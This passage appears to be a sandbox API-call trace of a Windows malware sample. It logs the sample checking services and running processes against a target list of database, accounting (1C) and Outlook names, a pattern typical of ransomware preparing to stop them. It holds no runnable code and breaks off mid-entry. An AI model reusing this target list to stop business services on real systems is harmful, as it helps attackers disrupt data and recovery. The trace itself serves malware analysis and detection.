[0053.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.137] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.137] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.137] lstrlenW (lpString="PlugPlay") returned 8 [0053.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.138] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.138] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.138] lstrlenW (lpString="Power") returned 5 [0053.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.138] lstrlenW (lpString="ProfSvc") returned 7 [0053.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.138] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.138] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.139] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.139] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.139] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.139] lstrlenW (lpString="RpcSs") returned 5 [0053.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.139] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.139] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.139] lstrlenW (lpString="SamSs") returned 5 [0053.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.139] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.139] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.139] lstrlenW (lpString="Schedule") returned 8 [0053.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.139] lstrlenW (lpString="SENS") returned 4 [0053.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.140] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.140] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.140] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.140] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.140] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.140] lstrlenW (lpString="Spooler") returned 7 [0053.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.140] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.140] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.140] lstrlenW (lpString="swprv") returned 5 [0053.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0053.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0053.140] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0053.140] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0053.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0053.140] lstrlenW (lpString="SysMain") returned 7 [0053.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.140] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.140] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.140] lstrlenW (lpString="Themes") returned 6 [0053.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.141] lstrlenW (lpString="TrkWks") returned 6 [0053.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.141] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.141] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.141] lstrlenW (lpString="UxSms") returned 5 [0053.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.141] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.141] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.141] lstrlenW (lpString="VSS") returned 3 [0053.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0053.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0053.141] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0053.141] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0053.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0053.141] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.141] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.141] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.142] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.142] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0053.142] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.142] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.142] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.142] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.142] lstrlenW (lpString="Winmgmt") returned 7 [0053.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.142] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.142] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.142] lstrlenW (lpString="WPDBusEnum") returned 10 [0053.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.142] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0053.142] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0053.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0053.142] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x607b80 | out: hHeap=0x510000) returned 1 [0053.142] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0053.146] Process32FirstW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.147] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.147] lstrlenW (lpString="System") returned 6 [0053.147] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.147] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.147] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.147] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.147] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.148] lstrlenW (lpString="smss.exe") returned 8 [0053.148] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.148] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.148] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0053.148] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0053.148] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0053.148] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0053.148] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0053.148] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.148] lstrlenW (lpString="csrss.exe") returned 9 [0053.148] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.148] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.148] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.148] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.148] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.148] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.148] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0053.149] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.149] lstrlenW (lpString="wininit.exe") returned 11 [0053.149] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0053.149] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0053.149] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0053.149] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.149] lstrlenW (lpString="csrss.exe") returned 9 [0053.149] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.150] lstrlenW (lpString="winlogon.exe") returned 12 [0053.150] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.150] lstrlenW (lpString="services.exe") returned 12 [0053.150] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.150] lstrlenW (lpString="lsass.exe") returned 9 [0053.151] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.151] lstrlenW (lpString="lsm.exe") returned 7 [0053.151] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.151] lstrlenW (lpString="svchost.exe") returned 11 [0053.151] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.152] lstrlenW (lpString="svchost.exe") returned 11 [0053.152] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.152] lstrlenW (lpString="svchost.exe") returned 11 [0053.152] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.152] lstrlenW (lpString="svchost.exe") returned 11 [0053.152] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.153] lstrlenW (lpString="svchost.exe") returned 11 [0053.153] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.153] lstrlenW (lpString="audiodg.exe") returned 11 [0053.153] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.153] lstrlenW (lpString="svchost.exe") returned 11 [0053.153] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.154] lstrlenW (lpString="svchost.exe") returned 11 [0053.154] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.154] lstrlenW (lpString="dwm.exe") returned 7 [0053.154] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.154] lstrlenW (lpString="explorer.exe") returned 12 [0053.155] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.155] lstrlenW (lpString="spoolsv.exe") returned 11 [0053.155] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.155] lstrlenW (lpString="taskhost.exe") returned 12 [0053.155] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.156] lstrlenW (lpString="svchost.exe") returned 11 [0053.156] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.156] lstrlenW (lpString="taskeng.exe") returned 11 [0053.156] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.156] lstrlenW (lpString="taskhost.exe") returned 12 [0053.156] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0053.217] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0053.217] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0053.217] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0053.217] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0053.218] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0053.218] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0053.218] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0053.218] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0053.218] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0053.218] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0053.219] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0053.219] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0053.219] lstrlenW (lpString="toyota.exe") returned 10 [0053.219] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0053.219] lstrlenW (lpString="radiation.exe") returned 13 [0053.220] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0053.220] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0053.220] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0053.220] lstrlenW (lpString="ur illustration.exe") returned 19 [0053.220] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0053.221] lstrlenW (lpString="facing.exe") returned 10 [0053.221] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0053.221] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0053.221] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0053.221] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0053.222] Process32NextW (in: 